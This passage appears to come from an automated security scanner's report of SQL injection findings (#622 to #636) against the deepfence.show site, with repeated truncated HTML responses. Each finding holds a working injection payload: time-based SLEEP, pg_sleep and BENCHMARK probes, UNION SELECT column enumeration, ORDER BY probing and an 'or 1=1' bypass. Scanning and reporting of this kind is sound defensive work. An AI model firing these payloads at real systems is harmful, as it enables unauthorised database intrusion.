cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #622
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #623
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #624
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io"^"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #625
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #626
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #627
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #628
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #629
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1) or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #630
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #631
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin") or "1"="1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #632
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAnD SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #633
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #634
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #635
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #636
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
